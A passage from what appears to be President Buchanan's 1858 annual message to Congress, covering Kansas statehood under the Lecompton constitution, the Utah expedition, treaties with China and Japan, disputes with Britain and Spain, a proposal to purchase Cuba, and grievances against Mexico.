of\nJanuary last, when an election was held under the constitution. A majority\nof the people then voted for a governor and other State officers, for a\nMember of Congress and members of the State legislature. This election was\nwarmly contested by the two political parties in Kansas, and a greater vote\nwas polled than at any previous election. A large majority of the members\nof the legislature elect belonged to that party which had previously\nrefused to vote. The antislavery party were thus placed in the ascendant,\nand the political power of the State was in their own hands. Had Congress\nadmitted Kansas into the Union under the Lecompton constitution, the\nlegislature might at its very first session have submitted the question to\na vote of the people whether they would or would not have a convention to\namend their constitution, either on the slavery or any other question, and\nhave adopted all necessary means for giving speedy effect to the will of\nthe majority. Thus the Kansas question would have been immediately and\nfinally settled.Under these circumstances I submitted to Congress the constitution thus\nframed, with all the officers already elected necessary to put the State\ngovernment into operation, accompanied by a strong recommendation in favor\nof the admission of Kansas as a State. In the course of my long public life\nI have never performed any official act which in the retrospect has\nafforded me more heartfelt satisfaction. Its admission could have inflicted\nno possible injury on any human being, whilst it would within a brief\nperiod have restored peace to Kansas and harmony to the Union. In that\nevent the slavery question would ere this have been finally settled\naccording to the legally expressed will of a majority of the voters, and\npopular sovereignty would thus have been vindicated in a constitutional\nmanner.With my deep convictions of duty I could have pursued no other course. It\nis true that as an individual I had expressed an opinion, both before and\nduring the session of the convention, in favor of submitting the remaining\nclauses of the constitution, as well as that concerning slavery, to the\npeople. But, acting in an official character, neither myself nor any human\nauthority had the power to rejudge the proceedings of the convention and\ndeclare the constitution which it had framed to be a nullity. To have done\nthis would have been a violation of the Kansas and Nebraska act, which left\nthe people of the Territory \"perfectly free to form and regulate their\ndomestic institutions in their own way, subject only to the Constitution of\nthe United States.\" It would equally have violated the great principle of\npopular sovereignty, at the foundation of our institutions, to deprive the\npeople of the power, if they thought proper to exercise it, of confiding to\ndelegates elected by themselves the trust of framing a constitution without\nrequiring them to subject their constituents to the trouble, expense, and\ndelay of a second election. It would have been in opposition to many\nprecedents in our history, commencing in the very best age of the Republic,\nof the admission of Territories as States into the Union without a previous\nvote of the people approving their constitution.It is to be lamented that a question so insignificant when viewed in its\npractical effects on the people of Kansas, whether decided one way or the\nother, should have kindled such a flame of excitement throughout the\ncountry. This reflection may prove to be a lesson of wisdom and of warning\nfor our future guidance. Practically considered, the question is simply\nwhether the people of that Territory should first come into the Union and\nthen change any provision in their constitution not agreeable to\nthemselves, or accomplish the very same object by remaining out of the\nUnion and framing another constitution in accordance with their will. In\neither case the result would be precisely the same. The only difference, in\npoint of fact, is that the object would have been much sooner attained and\nthe pacification of Kansas more speedily effected had it been admitted as a\nState during the last session of Congress.My recommendation, however, for the immediate admission of Kansas failed to\nmeet the approbation of Congress. They deemed it wiser to adopt a different\nmeasure for the settlement of the question. For my own part, I should have\nbeen willing to yield my assent to almost any constitutional measure to\naccomplish this object. I therefore cordially acquiesced in what has been\ncalled the English compromise and approved the \"act for the admission of\nthe State of Kansas into the Union\" upon the terms therein prescribed.Under the ordinance which accompanied the Lecompton constitution the people\nof Kansas had claimed double the quantity of public lands for the support\nof common schools which had ever been previously granted to any State upon\nentering the Union, and also the alternate sections of land for 12 miles on\neach side of two railroads proposed to be constructed from the northern to\nthe southern boundary and from the eastern to the western boundary of the\nState. Congress, deeming these claims unreasonable, provided by the act of\nMay 4, 1858, to which I have just referred, for the admission of the State\non an equal footing with the original States, but \"upon the fundamental\ncondition precedent\" that a majority of the people thereof, at an election\nto be held for that purpose, should, in place of the very large grants of\npublic lands which they had demanded under the ordinance, accept such\ngrants as had been made to Minnesota and other new States. Under this act,\nshould a majority reject the proposition offered them, \"it shall be deemed\nand held that the people of Kansas do not desire admission into the Union\nwith said constitution under the conditions set forth in said proposition.\"\nIn that event the act authorizes the people of the Territory to elect\ndelegates to form a constitution and State government for themselves\n\"whenever, and not before, it is ascertained by a census, duly and legally\ntaken, that the population of said Territory equals or exceeds the ratio of\nrepresentation required for a member of the House of Representatives of the\nCongress of the United States.\" The delegates thus assembled \"shall first\ndetermine by a vote whether it is the wish of the people of the proposed\nState to be admitted into the Union at that time, and, if so, shall proceed\nto form a constitution and take all necessary steps for the establishment\nof a State government in conformity with the Federal Constitution.\" After\nthis constitution shall have been formed, Congress, carrying out the\nprinciples of popular sovereignty and nonintervention, have left \"the mode\nand manner of its approval or ratification by the people of the proposed\nState\" to be \"prescribed by law,\" and they \"shall then be admitted into the\nUnion as a State under such constitution, thus fairly and legally made,\nwith or without slavery, as said constitution may prescribe.\"An election was held throughout Kansas, in pursuance of the provisions of\nthis act, on the 2d day of August last, and it resulted in the rejection by\na large majority of the proposition submitted to the people by Congress.\nThis being the case, they are now authorized to form another constitution,\npreparatory to admission into the Union, but not until their number, as\nascertained by a census, shall equal or exceed the ratio required to elect\na member to the House of Representatives.It is not probable, in the present state of the case, that a third\nconstitution can be lawfully framed and presented to Congress by Kansas\nbefore its population shall have reached the designated number. Nor is it\nto be presumed that after their sad experience in resisting the Territorial\nlaws they will attempt to adopt a constitution in express violation of the\nprovisions of an act of Congress. During the session of 1856 much of the\ntime of Congress was occupied on the question of admitting Kansas under the\nTopeka constitution. Again, nearly the whole of the last session was\ndevoted to the question of its admission under the Lecompton constitution.\nSurely it is not unreasonable to require the people of Kansas to wait\nbefore making a third attempt until the number of their inhabitants shall\namount to 93,420. During this brief period the harmony of the States as\nwell as the great business interests of the country demand that the people\nof the Union shall not for a third time be convulsed by another agitation\non the Kansas question. By waiting for a short time and acting in obedience\nto law Kansas will glide into the Union without the slightest impediment.This excellent provision, which Congress have applied to Kansas, ought to\nbe extended and rendered applicable to all Territories which may hereafter\nseek admission into the Union.Whilst Congress possess the undoubted power of admitting a new State into\nthe Union, however small may be the number of its inhabitants, yet this\npower ought not, in my opinion, to be exercised before the population shall\namount to the ratio required by the act for the admission of Kansas. Had\nthis been previously the rule, the country would have escaped all the evils\nand misfortunes to which it has been exposed by the Kansas question.Of course it would be unjust to give this rule a retrospective application,\nand exclude a State which, acting upon the past practice of the Government,\nhas already formed its constitution, elected its legislature and other\nofficers, and is now prepared to enter the Union. The rule ought to be\nadopted, whether we consider its bearing on the people of the Territories\nor upon the people of the existing States. Many of the serious dissentions\nwhich have prevailed in Congress and throughout the country would have been\navoided had this rule been established at an earlier period of the\nGovernment.Immediately upon the formation of a new Territory people from different\nStates and from foreign countries rush into it for the laudable purpose of\nimproving their condition. Their first duty to themselves is to open and\ncultivate farms, to construct roads, to establish schools, to erect places\nof religious worship, and to devote their energies generally to reclaim the\nwilderness and to lay the foundations of a flourishing and prosperous\ncommonwealth. If in this incipient condition, with a population of a few\nthousand, they should prematurely enter the Union, they are oppressed by\nthe burden of State taxation, and the means necessary for the improvement\nof the Territory and the advancement of their own interests are thus\ndiverted to very different purposes.The Federal Government has ever been a liberal parent to the Territories\nand a generous contributor to the useful enterprises of the early settlers.\nIt has paid the expenses of their governments and legislative assemblies\nout of the common Treasury, and thus relieved them from a heavy charge.\nUnder these circumstances nothing can be better calculated to retard their\nmaterial progress than to divert them from their useful employments by\nprematurely exciting angry political contests among themselves for the\nbenefit of aspiring leaders. It is surely no hardship for embryo governors,\nSenators, and Members of Congress to wait until the number of inhabitants\nshall equal those of a single Congressional district. They surely ought not\nto be permitted to rush into the Union with a population less than one-half\nof several of the large counties in the interior of some of the States.\nThis was the condition of Kansas when it made application to be admitted\nunder the Topeka constitution. Besides, it requires some time to render the\nmass of a population collected in a new Territory at all homogeneous and to\nunite them on anything like a fixed policy. Establish the rule, and all\nwill look forward to it and govern themselves accordingly. But justice to\nthe people of the several States requires that this rule should be\nestablished by Congress. Each State is entitled to two Senators and at\nleast one Representative in Congress. Should the people of the States fail\nto elect a Vice-President, the power devolves upon the Senate to select\nthis officer from the two highest candidates on the list. In case of the\ndeath of the President, the Vice-President thus elected by the Senate\nbecomes President of the United States. On all questions of legislation the\nSenators from the smallest States of the Union have an equal vote with\nthose from the largest. The same may be said in regard to the ratification\nof treaties and of Executive appointments. All this has worked admirably in\npractice, whilst it conforms in principle with the character of a\nGovernment instituted by sovereign States. I presume no American citizen\nwould desire the slightest change in the arrangement. Still, is it not\nunjust and unequal to the existing States to invest some 40,000 or 50,000\npeople collected in a Territory with the attributes of sovereignty and\nplace them on an equal footing with Virginia and New York in the Senate of\nthe United States?For these reasons I earnestly recommend the passage of a general act which\nshall provide that, upon the application of a Territorial legislature\ndeclaring their belief that the Territory contains a number of inhabitants\nwhich, if in a State, would entitle them to elect a Member of Congress, it\nshall be the duty of the President to cause a census of the inhabitants to\nbe taken, and if found sufficient then by the terms of this act to\nauthorize them to proceed \"in their own way\" to frame a State constitution\npreparatory to admission into the Union. I also recommend that an\nappropriation may be made to enable the President to take a census of the\npeople of Kansas.The present condition of the Territory of Utah, when contrasted with what\nit was one year ago, is a subject for congratulation. It was then in a\nstate of open rebellion, and, cost what it might, the character of the\nGovernment required that this rebellion should be suppressed and the\nMormons compelled to yield obedience to the Constitution and the laws. In\norder to accomplish this object, as I informed you in my last annual\nmessage, I appointed a new governor instead of Brigham Young, and other\nFederal officers to take the place of those who, consulting their personal\nsafety, had found it necessary to withdraw from the Territory.To protect these civil officers, and to aid them, as a posse comitatus, in\nthe execution of the laws in case of need, I ordered a detachment of the\nArmy to accompany them to Utah. The necessity for adopting these measures\nis now demonstrated.On the 15th of September, 1857, Governor Young issued his proclamation, in\nthe style of an independent sovereign, announcing his purpose to resist by\nforce of arms the entry of the United States troops into our own Territory\nof Utah. By this he required all the forces in the Territory to \"hold\nthemselves in readiness to march at a moment's notice to repel any and all\nsuch invasion,\" and established martial law from its date throughout the\nTerritory. These proved to be no idle threats. Forts Bridger and Supply\nwere vacated and burnt down by the Mormons to deprive our troops of a\nshelter after their long and fatiguing march. Orders were issued by Daniel\nH. Wells, styling himself \"Lieutenant General, Nauvoo Legion,\" to stampede\nthe animals of the United States troops on their march, to set fire to\ntheir trains, to burn the grass and the whole country before them and on\ntheir flanks, to keep them from sleeping by night surprises, and to\nblockade the road by felling trees and destroying the fords of rivers,\netc.These orders were promptly and effectually obeyed. On the 4th of October,\n1857, the Mormons captured and burned, on Green River, three of our supply\ntrains, consisting of seventy-five wagons loaded with provisions and tents\nfor the army, and carried away several hundred animals. This diminished the\nsupply of provisions so materially that General Johnston was obliged to\nreduce the ration, and even with this precaution there was only sufficient\nleft to subsist the troops until the 1st of June.Our little army behaved admirably in their encampment at Fort Bridger under\nthese trying privations. In the midst of the mountains, in a dreary,\nunsettled, and inhospitable region, more than a thousand miles from home,\nthey passed the severe and inclement winter without a murmur. They looked\nforward with confidence for relief from their country in due season, and in\nthis they were not disappointed. The Secretary of War employed all his\nenergies to forward them the necessary supplies and to muster and send such\na military force to Utah as would render resistance on the part of the\nMormons hopeless, and thus terminate the war without the effusion of blood.\nIn his efforts he was efficiently sustained by Congress. They granted\nappropriations sufficient to cover the deficiency thus necessarily created,\nand also provided for raising two regiments of volunteers \"for the purpose\nof quelling disturbances in the Territory of Utah, for the protection of\nsupply and emigrant trains, and the suppression of Indian hostilities on\nthe frontiers.\" Happily, there was no occasion to call these regiments into\nservice. If there had been, I should have felt serious embarrassment in\nselecting them, so great was the number of our brave and patriotic citizens\nanxious to serve their country in this distant and apparently dangerous\nexpedition. Thus it has ever been, and thus may it ever be.The wisdom and economy of sending sufficient reenforcements to Utah are\nestablished, not only by the event, but in the opinion of those who from\ntheir position and opportunities are the most capable of forming a correct\njudgment. General Johnston, the commander of the forces, in addressing the\nSecretary of War from Fort Bridger under date of October 18, 1857,\nexpresses the opinion that \"unless a large force is sent here, from the\nnature of the country a protracted war on their [the Mormons's] part is\ninevitable.\" This he considered necessary to terminate the war \"speedily\nand more economically than if attempted by insufficient means.\"In the meantime it was my anxious desire that the Mormons should yield\nobedience to the Constitution and the laws without rendering it necessary\nto resort to military force. To aid in accomplishing this object, I deemed\nit advisable in April last to dispatch two distinguished citizens of the\nUnited States, Messrs. Powell and McCulloch, to Utah. They bore with them a\nproclamation addressed by myself to the inhabitants of Utah, dated on the\n6th day of that month, warning them of their true condition and how\nhopeless it was on their part to persist in rebellion against the United\nStates, and offering all those who should submit to the laws a full pardon\nfor their past seditions and treasons. At the same time I assured those who\nshould persist in rebellion against the United States that they must expect\nno further lenity, but look to be rigorously dealt with according to their\ndeserts. The instructions to these agents, as well as a copy of the\nproclamation and their reports, are herewith submitted. It will be seen by\ntheir report of the 3d of July last that they have fully confirmed the\nopinion expressed by General Johnston in the previous October as to the\nnecessity of sending reenforcements to Utah. In this they state that they\n\"are firmly impressed with the belief that the presence of the Army here\nand the large additional force that had been ordered to this Territory were\nthe chief inducements that caused the Mormons to abandon the idea of\nresisting the authority of the United States. A less decisive policy would\nprobably have resulted in a long, bloody, and expensive war.\"These gentlemen conducted themselves to my entire satisfaction and rendered\nuseful services in executing the humane intentions of the Government.It also affords me great satisfaction to state that Governor Cumming has\nperformed his duty in an able and conciliatory manner and with the happiest\neffect. I can not in this connection refrain from mentioning the valuable\nservices of Colonel Thomas L. Kane, who, from motives of pure benevolence\nand without any official character or pecuniary compensation, visited Utah\nduring the last inclement winter for the purpose of contributing to the\npacification of the Territory.I am happy to inform you that the governor and other civil officers of Utah\nare now performing their appropriate functions without resistance. The\nauthority of the Constitution and the laws has been fully restored and\npeace prevails throughout the Territory. A portion of the troops sent to\nUtah are now encamped in Cedar Valley, 44 miles southwest of Salt Lake\nCity, and the remainder have been ordered to Oregon to suppress Indian\nhostilities.The march of the army to Salt Lake City through the Indian Territory has had\na powerful effect in restraining the hostile feelings against the United\nStates which existed among the Indians in that region and in securing\nemigrants to the far West against their depredations. This will also be the\nmeans of establishing military posts and promoting settlements along the\nroute. I recommend that the benefits of our land laws and preemption system\nbe extended to the people of Utah by the establishment of a land office in\nthat Territory.I have occasion also to congratulate you on the result of our negotiations\nwith China.You were informed by my last annual message that our minister had been\ninstructed to occupy a neutral position in the hostilities conducted by\nGreat Britain and France against Canton. He was, however, at the same time\ndirected to cooperate cordially with the British and French ministers in\nall peaceful measures to secure by treaty those just concessions to foreign\ncommerce which the nations of the world had a right to demand. It was\nimpossible for me to proceed further than this on my own authority without\nusurping the war-making power, which under the Constitution belongs\nexclusively to Congress.Besides, after a careful examination of the nature and extent of our\ngrievances, I did not believe they were of such a pressing and aggravated\ncharacter as would have justified Congress in declaring war against the\nChinese Empire without first making another earnest attempt to adjust them\nby peaceful negotiation. I was the more inclined to this opinion because of\nthe severe chastisement which had then but recently been inflicted upon the\nChinese by our squadron in the capture and destruction of the Barrier forts\nto avenge an alleged insult to our flag. The event has proved the wisdom of\nour neutrality. Our minister has executed his instructions with eminent\nskill and ability. In conjunction with the Russian plenipotentiary, he has\npeacefully, but effectually, cooperated with the English and French\nplenipotentiaries, and each of the four powers has concluded a separate\ntreaty with China of a highly satisfactory character. The treaty concluded\nby our own plenipotentiary will immediately be submitted to the Senate.I am happy to announce that through the energetic yet conciliatory efforts\nof our consul-general in Japan a new treaty has been concluded with that\nEmpire, which may be expected materially to augment our trade and\nintercourse in that quarter and remove from our countrymen the disabilities\nwhich have heretofore been imposed upon the exercise of their religion. The\ntreaty shall be submitted to the Senate for approval without delay.It is my earnest desire that every misunderstanding with the Government of\nGreat Britain should be amicably and speedily adjusted. It has been the\nmisfortune of both countries, almost ever since the period of the\nRevolution, to have been annoyed by a succession of irritating and\ndangerous questions, threatening their friendly relations. This has\npartially prevented the full development of those feelings of mutual\nfriendship between the people of the two countries so natural in themselves\nand so conducive to their common interest. Any serious interruption of the\ncommerce between the United States and Great Britain would be equally\ninjurious to both. In fact, no two nations have ever existed on the face of\nthe earth which could do each other so much good or so much harm.Entertaining these sentiments, I am gratified to inform you that the\nlong-pending controversy between the two Governments in relation to the\nquestion of visitation and search has been amicably adjusted. The claim on\nthe part of Great Britain forcibly to visit American vessels on the high\nseas in time of peace could not be sustained under the law of nations, and\nit had been overruled by her own most eminent jurists. This question was\nrecently brought to an issue by the repeated acts of British cruisers in\nboarding and searching our merchant vessels in the Gulf of Mexico and the\nadjacent seas. These acts were the more injurious and annoying, as these\nwaters are traversed by a large portion of the commerce and navigation of\nthe United States and their free and unrestricted use is essential to the\nsecurity of the coastwise trade between the different States of the Union.\nSuch vexatious interruptions could not fail to excite the feelings of the\ncountry and to require the interposition of the Government. Remonstrances\nwere addressed to the British Government against these violations of our\nrights of sovereignty, and a naval force was at the same time ordered to\nthe Cuban waters with directions \"to protect all vessels of the United\nStates on the high seas from search or detention by the vessels of war of\nany other nation.\" These measures received the unqualified and even\nenthusiastic approbation of the American people. Most fortunately, however,\nno collision took place, and the British Government promptly avowed its\nrecognition of the principles of international law upon this subject as\nlaid down by the Government of the United States in the note of the\nSecretary of State to the British minister at Washington of April 10, 1858,\nwhich secure the vessels of the United States upon the high seas from\nvisitation or search in time of peace under any circumstances whatever. The\nclaim has been abandoned in a manner reflecting honor on the British\nGovernment and evincing a just regard for the law of nations, and can not\nfail to strengthen the amicable relations between the two countries.The British Government at the same time proposed to the United States that\nsome mode should be adopted, by mutual arrangement between the two\ncountries, of a character which may be found effective without being\noffensive, for verifying the nationality of vessels suspected on good\ngrounds of carrying false colors. They have also invited the United States\nto take the initiative and propose measures for this purpose. Whilst\ndeclining to assume so grave a responsibility, the Secretary of State has\ninformed the British Government that we are ready to receive any proposals\nwhich they may feel disposed to offer having this object in view, and to\nconsider them in an amicable spirit. A strong opinion is, however,\nexpressed that the occasional abuse of the flag of any nation is an evil\nfar less to be deprecated than would be the establishment of any\nregulations which might be incompatible with the freedom of the seas. This\nGovernment has yet received no communication specifying the manner in which\nthe British Government would propose to carry out their suggestion, and I\nam inclined to believe that no plan which can be devised will be free from\ngrave embarrassments. Still, I shall form no decided opinion on the subject\nuntil I shall have carefully and in the best spirit examined any proposals\nwhich they may think proper to make.I am truly sorry I can not also inform you that the complications between\nGreat Britain and the United States arising out of the Clayton and Bulwer\ntreaty of April, 1850, have been finally adjusted.At the commencement of your last session I had reason to hope that,\nemancipating themselves from further unavailing discussions, the two\nGovernments would proceed to settle the Central American questions in a\npractical manner, alike honorable and satisfactory to both; and this hope I\nhave not yet abandoned. In my last annual message I stated that overtures\nhad been made by the British Government for this purpose in a friendly\nspirit, which I cordially reciprocated. Their proposal was to withdraw\nthese questions from direct negotiation between the two Governments, but to\naccomplish the same object by a negotiation between the British Government\nand each of the Central American Republics whose territorial interests are\nimmediately involved. The settlement was to be made in accordance with the\ngeneral tenor of the interpretation placed upon the Clayton and Bulwer\ntreaty by the United States, with certain modifications. As negotiations\nare still pending upon this basis, it would not be proper for me now to\ncommunicate their present condition. A final settlement of these questions\nis greatly to be desired, as this would wipe out the last remaining subject\nof dispute between the two countries.Our relations with the great Empires of France and Russia, as well as with\nall other Governments on the continent of Europe, except that of Spain,\ncontinue to be of the most friendly character.With Spain our relations remain in an unsatisfactory condition. In my\nmessage of December last I informed you that our envoy extraordinary and\nminister plenipotentiary to Madrid had asked for his recall, and it was my\npurpose to send out a new minister to that Court with special instructions\non all questions pending between the two Governments, and with a\ndetermination to have them speedily and amicably adjusted if that were\npossible. This purpose has been hitherto defeated by causes which I need\nnot enumerate. The mission to Spain has been intrusted to a distinguished\ncitizen of Kentucky, who will proceed to Madrid without delay and make\nanother and a final attempt to obtain justice from that Government.Spanish officials under the direct control of the Captain-General of Cuba\nhave insulted our national flag and in repeated instances have from time to\ntime inflicted injuries on the persons and property of our citizens. These\nhave given birth to numerous claims against the Spanish Government, the\nmerits of which have been ably discussed for a series of years by our\nsuccessive diplomatic representatives. Notwithstanding this, we have not\narrived at a practical result in any single instance, unless we may except\nthe case of the Black Warrior, under the late Administration, and that\npresented an outrage of such a character as would have justified an\nimmediate resort to war. All our attempts to obtain redress have been\nbaffled and defeated. The frequent and oft-recurring changes in the Spanish\nministry have been employed as reasons for delay. We have been compelled to\nwait again and again until the new minister shall have had time to\ninvestigate the justice of our demands.Even what have been denominated \"the Cuban claims,\" in which more than 100\nof our citizens are directly interested, have furnished no exception. These\nclaims were for the refunding of duties unjustly exacted from American\nvessels at different custom-houses in Cuba so long ago as the year 1844.\nThe principles upon which they rest are so manifestly equitable and just\nthat, after a period of nearly ten years, in 1854 they were recognized by\nthe Spanish Government. Proceedings were afterwards instituted to ascertain\ntheir amount, and this was finally fixed, according to their own statement\n(with which we were satisfied), at the sum of $128,635.54. Just at the\nmoment, after a delay of fourteen years, when we had reason to expect that\nthis sum would be repaid with interest, we have received a proposal\noffering to refund one-third of that amount ($42,878.41), but without\ninterest, if we would accept this in full satisfaction. The offer is also\naccompanied by a declaration that this indemnification is not founded on\nany reason of strict justice, but is made as a special favor.One alleged cause for procrastination in the examination and adjustment of\nour claims arises from an obstacle which it is the duty of the Spanish\nGovernment to remove. Whilst the Captain-General of Cuba is invested with\ngeneral despotic authority in the government of that island, the power is\nwithheld from him to examine and redress wrongs committed by officials\nunder his control on citizens of the United States. Instead of making our\ncomplaints directly to him at Havana, we are obliged to present them\nthrough our minister at Madrid. These are then referred back to the\nCaptain-General for information, and much time is thus consumed in\npreliminary investigations and correspondence between Madrid and Cuba\nbefore the Spanish Government will consent to proceed to negotiation. Many\nof the difficulties between the two Governments would be obviated and a\nlong train of negotiation avoided if the Captain-General were invested with\nauthority to settle questions of easy solution on the spot, where all the\nfacts are fresh and could be promptly and satisfactorily ascertained. We\nhave hitherto in vain urged upon the Spanish Government to confer this\npower upon the Captain-General, and our minister to Spain will again be\ninstructed to urge this subject on their notice. In this respect we occupy\na different position from the powers of Europe. Cuba is almost within sight\nof our shores; our commerce with it is far greater than that of any other\nnation, including Spain itself, and our citizens are in habits of daily and\nextended personal intercourse with every part of the island. It is\ntherefore a great grievance that when any difficulty occurs, no matter how\nunimportant, which might be readily settled at the moment, we should be\nobliged to resort to Madrid, especially when the very first step to be\ntaken there is to refer it back to Cuba.The truth is that Cuba, in its existing colonial condition, is a constant\nsource of injury and annoyance to the American people. It is the only spot\nin the civilized world where the African slave trade is tolerated, and we\nare bound by treaty with Great Britain to maintain a naval force on the\ncoast of Africa, at much expense both of life and treasure, solely for the\npurpose of arresting slavers bound to that island. The late serious\ndifficulties between the United States and Great Britain respecting the\nright of search, now so happily terminated, could never have arisen if Cuba\nhad not afforded a market for slaves. As long as this market shall remain\nopen there can be no hope for the civilization of benighted Africa. Whilst\nthe demand for slaves continues in Cuba wars will be waged among the petty\nand barbarous chiefs in Africa for the purpose of seizing subjects to\nsupply this trade. In such a condition of affairs it is impossible that the\nlight of civilization and religion can ever penetrate these dark abodes.It has been made known to the world by my predecessors that the United\nStates have on several occasions endeavored to acquire Cuba from Spain by\nhonorable negotiation. If this were accomplished, the last relic of the\nAfrican slave trade would instantly disappear. We would not, if we could,\nacquire Cuba in any other manner. This is due to our national character.\nAll the territory which we have acquired since the origin of the Government\nhas been by fair purchase from France, Spain, and Mexico or by the free and\nvoluntary act of the independent State of Texas in blending her destinies\nwith our own. This course we shall ever pursue, unless circumstances should\noccur which we do not now anticipate, rendering a departure from it clearly\njustifiable under the imperative and overruling law of self-preservation.\nThe island of Cuba, from its geographical position, commands the mouth of\nthe Mississippi and the immense and annually increasing trade, foreign and\ncoastwise, from the valley of that noble river, now embracing half the\nsovereign States of the Union. With that island under the dominion of a\ndistant foreign power this trade, of vital importance to these States, is\nexposed to the danger of being destroyed in time of war, and it has\nhitherto been subjected to perpetual injury and annoyance in time of peace.\nOur relations with Spain, which ought to be of the most friendly character,\nmust always be placed in jeopardy whilst the existing colonial government\nover the island shall remain in its present condition.Whilst the possession of the island would be of vast importance to the\nUnited States, its value to Spain is comparatively unimportant. Such was\nthe relative situation of the parties when the great Napoleon transferred\nLouisiana to the United States. Jealous as he ever was of the national\nhonor and interests of France, no person throughout the world has imputed\nblame to him for accepting a pecuniary equivalent for this cession.The publicity which has been given to our former negotiations upon this\nsubject and the large appropriation which may be required to effect the\npurpose render it expedient before making another attempt to renew the\nnegotiation that I should lay the whole subject before Congress. This is\nespecially necessary, as it may become indispensable to success that I\nshould be intrusted with the means of making an advance to the Spanish\nGovernment immediately after the signing of the treaty, without awaiting\nthe ratification of it by the Senate. I am encouraged to make this\nsuggestion by the example of Mr. Jefferson previous to the purchase of\nLouisiana from France and by that of Mr. Polk in view of the acquisition of\nterritory from Mexico. I refer the whole subject to Congress and commend it\nto their careful consideration.I repeat the recommendation made in my message of December last in favor of\nan appropriation \"to be paid to the Spanish Government for the purpose of\ndistribution among the claimants in the Amistad case.\" President Polk first\nmade a similar recommendation in December, 1847, and it was repeated by my\nimmediate predecessor in December, 1853. I entertain no doubt that\nindemnity is fairly due to these claimants under our treaty with Spain of\nOctober 27, 1795; and whilst demanding justice we ought to do justice. An\nappropriation promptly made for this purpose could not fail to exert a\nfavorable influence on our negotiations with Spain.Our position in relation to the independent States south of us on this\ncontinent, and especially those within the limits of North America, is of a\npeculiar character. The northern boundary of Mexico is coincident with our\nown southern boundary from ocean to ocean, and we must necessarily feel a\ndeep interest in all that concerns the well-being and the fate of so near a\nneighbor. We have always cherished the kindest wishes for the success of\nthat Republic, and have indulged the hope that it might at last, after all\nits trials, enjoy peace and prosperity under a free and stable government.\nWe have never hitherto interfered, directly or indirectly, with its\ninternal affairs, and it is a duty which we owe to ourselves to protect the\nintegrity of its territory against the hostile interference of any other\npower. Our geographical position, our direct interest in all that concerns\nMexico, and our well-settled policy in regard to the North American\ncontinent render this an indispensable duty.Mexico has been in a state of constant revolution almost ever since it\nachieved its independence. One military leader after another has usurped\nthe Government in rapid succession, and the various constitutions from time\nto time adopted have been set at naught almost as soon as they were\nproclaimed. The successive Governments have afforded no adequate\nprotection, either to Mexican citizens or foreign residents, against\nlawless violence. Heretofore a seizure of the capital by a military\nchieftain has been generally followed by at least the nominal submission of\nthe country to his rule for a brief period, but not so at the present\ncrisis of Mexican affairs. A civil war has been raging for some time\nthroughout the Republic between the central Government at the City of\nMexico, which has endeavored to subvert the constitution last framed by\nmilitary power, and those who maintain the authority of that constitution.\nThe antagonist parties each hold possession of different States of the\nRepublic, and the fortunes of the war are constantly changing. Meanwhile\nthe most reprehensible means have been employed by both parties to extort\nmoney from foreigners, as well as natives, to carry on this ruinous\ncontest. The truth is that this fine country, blessed with a productive\nsoil and a benign climate, has been reduced by civil dissension to a\ncondition of almost hopeless anarchy and imbecility. It would be vain for\nthis Government to attempt to enforce payment in money of the claims of\nAmerican citizens, now amounting to more than $10,000,000, against Mexico,\nbecause she is destitute of all pecuniary means to satisfy these demands.Our late minister was furnished with ample powers and instructions for the\nadjustment of all pending questions with the central Government of Mexico,\nand he performed his duty with zeal and ability. The claims of our\ncitizens, some of them arising out of the violation of an express provision\nof the treaty of Guadalupe Hidalgo, and others from gross injuries to\npersons as well as property, have remained unredressed and even unnoticed.\nRemonstrances against these grievances have been addressed without effect\nto that Government. Meantime in various parts of the Republic instances\nhave been numerous of the murder, imprisonment, and plunder of our citizens\nby different parties claiming and exercising a local jurisdiction; but the\ncentral Government, although repeatedly urged thereto, have made no effort\neither to punish the authors of these outrages or to prevent their\nrecurrence. No American citizen can now visit Mexico on lawful business\nwithout imminent danger to his person and property. There is no adequate\nprotection to either, and in this respect our treaty with that Republic is\nalmost a dead letter.This state of affairs was brought to a crisis in May last by the\npromulgation of a decree levying a contribution pro rata upon all the\ncapital in the Republic between certain specified amounts, whether held by\nMexicans or foreigners. Mr. Forsyth, regarding this decree in the light of\na \"forced loan,\" formally protested against its application to his\ncountrymen and advised them not to pay the contribution, but to suffer it\nto be forcibly exacted. Acting upon this advice, an American citizen\nrefused to pay the contribution, and his property was seized by armed men\nto satisfy the amount. Not content with this, the Government proceeded\nstill further and issued a decree banishing him from the country. Our\nminister immediately notified them that if this decree should be carried\ninto execution he would feel it to be his duty to adopt \"the most decided\nmeasures that belong to the powers and obligations of the representative\noffice.\" Notwithstanding this warning, the banishment was enforced, and Mr.\nForsyth promptly announced to the Government the suspension of the\npolitical relations of his legation with them until the pleasure of his own\nGovernment should be ascertained.This Government did not regard the contribution imposed by the decree of\nthe 15th May last to be in strictness a \"forced loan,\" and as such\nprohibited by the tenth article of the treaty of 1826 between Great Britain\nand Mexico, to the benefits of which American citizens are entitled by\ntreaty; yet the imposition of the contribution upon foreigners was\nconsidered an unjust and oppressive measure. Besides, internal factions in\nother parts of the Republic were at the same time levying similar exactions\nupon the property of our citizens and interrupting their commerce. There\nhad been an entire failure on the part of our minister to secure redress\nfor the wrongs which our citizens had endured, notwithstanding his\npersevering efforts. And from the temper manifested by the Mexican\nGovernment he had repeatedly assured us that no favorable change could be\nexpected until the United States should \"give striking evidence of their\nwill and power to protect their citizens,\" and that \"severe chastening is\nthe only earthly remedy for our grievances.\" From this statement of facts\nit would have been worse than idle to direct Mr. Forsyth to retrace his\nsteps and resume diplomatic relations with that Government, and it was\ntherefore deemed proper to sanction his withdrawal of the legation from the\nCity of Mexico.Abundant cause now undoubtedly exists for a resort to hostilities against\nthe Government still holding possession of the capital. Should they succeed\nin subduing the constitutional forces, all reasonable hope will then have\nexpired of a peaceful settlement of our difficulties. On the other hand,\nshould the constitutional party prevail and their authority be established\nover the Republic, there is reason to hope that they will be animated by a\nless unfriendly spirit and may grant that redress to American citizens\nwhich justice requires so far as they may possess the means. But for this\nexpectation I should at once have recommended to Congress to grant the\nnecessary power to the President to take possession of a sufficient portion\nof the remote and unsettled territory of Mexico, to be held in pledge until\nour injuries shall be redressed and our just demands be satisfied. We have\nalready exhausted every milder means of obtaining justice. In such a case\nthis remedy of reprisals is recognized by the law of nations, not only as\njust in itself, but as a means of preventing actual war.But there is another view of our relations with Mexico, arising from the\nunhappy condition of affairs along our southwestern frontier, which demands\nimmediate action. In that remote region, where there are but few white\ninhabitants, large bands of hostile and predatory Indians roam\npromiscuously over the Mexican States of Chihuahua and Sonora and our\nadjoining Territories. The local governments of these States are perfectly\nhelpless and are kept in a state of constant alarm by the Indians. They\nhave not the power, if they possessed the will, even to 